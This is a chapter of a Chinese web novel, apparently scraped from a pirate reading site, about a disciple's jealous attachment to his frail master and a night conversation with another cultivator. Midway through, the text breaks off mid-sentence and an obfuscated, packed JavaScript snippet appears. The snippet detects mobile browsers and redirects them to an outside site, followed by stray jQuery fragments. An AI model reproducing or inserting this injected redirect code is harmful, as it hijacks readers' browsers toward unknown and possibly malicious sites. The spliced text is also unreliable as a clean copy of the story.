怀揣着某种自己也说不明白的心虚,接下来好几天,魏云深都有意躲着宋持怀。
他心里有鬼,每每看到宋持怀都忍不住想做些什么来吸引对方的注意力,事过之后又难接受自己对师父产生的那些龌龊心思,人前人后表里不一,思想历经了几番斗争,头绪还没想出几分,人却像要碎成两半。
再这样下去,只怕他还没能学成回到邺城去找灭门魏家的真凶,就先死在了心魔那关。
这日为宋持怀束好头发,魏云深又被他墨玉般下泻的青丝吸住了视线,少年一时手痒,突然很想照着往日不被允许看的话本子里那样对宋持怀做些什么。
好在他还留有一丝理智,魏云深及时低下头截断自己没完全发散的思维,道:“师父,那我先出……”
“云深。”
意料之外的,宋持怀叫住了他。魏云深惊讶抬头,刚好跟镜子里那双平淡又深邃的眼睛对上,莫名心头一慌:“怎么了?”
宋持怀手上拿着一只质地极好的白玉素簪,他的视线只在魏云深脸上停留一瞬,便回到自己被对方束歪了的头发上面:“乱了。”
魏云深急忙抽回跟他对视的眼睛,发觉宋持怀的头发确实有些蓬松凌乱,手忙脚乱地去拆他发冠:“对不起,我这就重……”
话没说完,他的手甚至还没再次落到宋持怀满头青丝上,镜前病殃殃的青年抬手抓住了他的手腕,被宋持怀拿着的那只玉簪便梗在两人手间,明明触感冰凉,却将魏云深腕处灼伤一大片。
魏云深呼吸一滞,还没等他说什么,宋持怀将他的手放了下来,两人的手垂在一侧,却始终没有分开,宋持怀终于转过身,他不再从镜子里看人,眼里的情绪却越发滚烫:“我说的不是头发,是你。”
手腕上还保留着宋持怀比常人低了好几个度的体温,魏云深有些心猿意马,他知道自己又要乱想了,现在最好的做法应该是赶紧扯脱宋持怀的手离开,可看着对面那双眼睛、看着宋持怀柔软苍白的唇、看着他那张明明没什么表情却让人挪不开视线的脸,魏云深吞了口唾沫,一动不动。
这个人、他眼前的这个人,简直比媚鬼还要会勾人心底的欲望。
宋持怀似乎并没有察觉到他的不对,回想这几日魏云深除了必要接触的刻意躲避,他沉吟道:“发生什么了,心乱得这么厉害?”
几番挣扎之下,魏云深还是不舍地抽回了自己的手,暗道他不止心乱得厉害,其他地方乱得更厉害。
面上却不敢让宋持怀看出什么,魏云深恭敬摇头,后退了一步:“可能想到一会儿练剑,想招式想得入神了。”
“你勤奋是好事,但也要用对方法,不要把自己逼得太狠了。”宋持怀没多想,点头问,“最近跟冯岭相处得怎么样?”
怎么话题突然就往冯岭身上扯了?
魏云深心头警铃大作,又觉得这样不好,于是尽量平和地说:“他人挺好的,有时候也指点我一下,不过……”
他想到什么,犹豫着看向宋持怀,虽然觉得不要在宋持怀面前拉扯太多跟无关人的话题,最后还是没忍住把心头的疑问问了出来:“他不是天极宫的人,却好像对天极宫的剑法心经都颇有研究,这是为什么?”
宋持怀顿了顿,不知想到什么,嘴角扯起一个略显嘲讽的弧度:“我同他探讨过天极宫的修式,想来他天资聪颖,这么几回就记住了,这是好事,以后你有什么不懂的都能问他。”
魏云深冷漠摇头,心底那仅有的一点好奇也尽数消灭:“那还是不了,有空我来问师父。”
宋持怀笑得促狭:“这几天不是在躲我,怎么还记着要我指点剑术?”
魏云深:!
自以为很隐秘的小心思就这么被宋持怀戳穿并摊到明面上来,少年脑中一片空白,脸也瞬间涨得通红,他结巴道:“没……我不是……”
“也罢,魏家没覆灭时你便是个娇养的,既然从来没做过伺候人的事,往后我也不为难你了。”
宋持怀坐正,对着镜子亲自将刚才魏云深没束好的发冠摘了下来,吩咐道:“去把冯岭叫进来。”
魏云深心里突然升出不好的预感:“叫他来做什么?”
宋持怀神色懒淡,虽觉得魏云深这个问题多余,但还是答了:“为我束发。”
“你……”
魏云深从前只知宋持怀体弱,却没想到他这么娇贵,连一点小事都不肯亲自做。
他自然不肯叫冯岭进来,却琢磨不明白不肯的原因,又觉得既然是他的师父,这等贴身的私事自然没有假手他人的道理。
再者魏云深并不觉得自己像宋持怀说的那些做不了一点伺候人的事,事实上他这些天伺候宋持怀伺候得很开心,谁说的就为难他了?
冯岭一个连门派都没有的无名散修,又凭什么跟自己抢为师父做的事?
魏云深越想越觉得心头不平,一开口又变成了委屈:“他有些忙,一时恐怕过不来,还是我来给师父束发吧。”
宋持怀一眼就看穿了他的借口:“他在忙什么?”
“……我也不知道,他又不跟我说,反正就是忙。”
魏云深难以置信自己现在说谎竟然这么流畅,还没有没有半点心理负担。他无比唾弃这样的自己,然而话已出口,为免在宋持怀面前露出窘态,他不得不硬着头皮将谎圆上。
他重新拿起梳子:“还是我来吧,冯岭恐怕更没做过伺候别人的事,他不一定有我做得好呢。”
明明说的是“伺候人”这种低人一等的事,最后那句话竟硬生生让他说出了点得意的语气。
谁知宋持怀只是看了他一眼,而后摇头:“他手比你巧,从没出过差错。”
魏云深:……
魏云深:?
意识到了什么的魏云深睁大双眼:“你……你跟他……”
不是,怎么冯岭也给宋持怀做过这种事?
他不是不是天极宫的人吗?这种事怎么也轮得上他?
乌潼也就算了……不对,乌潼也不能算。
但冯岭又凭什么?
他甚至都不是天极宫的人!
一种心爱的东西从未属于过自己的妒意与难堪瞬间将魏云深吞没,少年心火旺盛,自己都没察觉到变得可怖危险的眼神将宋持怀圈锁在面前,宋持怀却对这份危险恍若未觉,他甚至没听完魏云深的话就打断:“怎么?”
冰凉的声线让魏云深瞬间冷静下来,他用力掐了把自己的手心,尖锐的痛感令他理智回笼,少年讪讪摇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689093|144349||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头:“没怎么,师父人缘真好。”
人缘好么?
宋持怀嘴边勾起一个自嘲的笑,到底没再回答。
换冯岭的事就此告一段落,宋持怀仿佛只是心血来潮提了一嘴,提过了就忘,事后也不追责,看上去并没有过于较真。
魏云深则摒弃了一切杂乱的想法,追寻自己对宋持怀感情的真相已经没了意义,他甚至能接受自己离宋持怀远一点,但如果代价是换其他人跟那人更近,还不如一直都只是自己。
好在这种偏执的占有欲仅仅出现在宋持怀面前的时候,一旦他的师父离开了视线范围,哪怕那股难言的悸动仍然存在,他最起码还能保持一丝理智,不至于仅因为谁跟宋持怀做过哪些亲密的举动就对对方产生敌意。
——至少乌潼人是真的不错,冯岭也是好人,至于凌微随便,只有前两个,魏云深不想因为自己都弄不懂的原因就去仇视他们。
仅仅是跟宋持怀认识更早而已,他爹以前还收养过宋持怀呢,他说什么了?
魏云深有些懊恼,心想如果自己当年早一点出生,那时候宋持怀还没离开魏家,说不定他还能抱过自己。
他才是跟宋持怀认识最早的!
当夜,魏云深坐在宋持怀房间的屋顶赏月,想到因为一个宋持怀牵扯出的种种剪不断理还乱,心头一阵愁绪。
“哟,一个人在这儿干嘛,不睡觉了?”
冯岭刚刚从外面回来,他穿了一身夜行衣,衣角处沾了不少露水,看上去行色匆忙,却还是在看到坐在屋顶上的魏云深时也跳了上去。
经过这几天相处,主要是两人一主外一主内地共同照顾着宋持怀的饮食起居,他们二人关系近了不少,最起码比之前只有邺城一面之缘时好了许多。
看到他,魏云深有些愧疚,他没回答冯岭的问题,而是问:“你去哪儿了?”
“处理了点事情,不重要,你说你的。”
说话间,冯岭摘下口罩又不知从哪里掏出了一瓶酒,豪爽道,“来点?”
魏云深不会喝酒,毫不犹豫地拒绝了。
忍了半晌,最终还是没忍住问:“你跟我师父认识多久了?”
“嗯……好多年了吧?大概从他搬上鸦影居就打过照面了。”
冯岭回想了一下,直言不讳,“怎么了?”
“没事,就问问。”魏云深干笑着,又问,“你不是不是天极宫的人吗,怎么还知道鸦影居?”
“……”
这回冯岭没再回答他的问题,而是自顾自喝了口酒:“你今天怎么了,怎么突然想这些?”
“我……”
魏云深本来不打算跟他说,但或许是实在没人倾诉,又或许是夜晚总容易更深刻地渲染出人的某种情绪,被风吹了一会儿,魏云深还是没忍住想向冯岭这个“前辈”请教一下意见。
他犹豫着、扭捏踌躇,跟平时说一不二的性格截然相反,看得冯岭一阵恶心。
冯岭只觉得晚上多怪,对着月亮喝了口酒,便听到少年犹豫不决的声音:“是,是这样的,我有一个朋友。”
冯岭诡异地沉默了,他盯着魏云深看了十几息时间,惊异之中不知作何表态,许久才找回自己的声音:“你……怎么了?”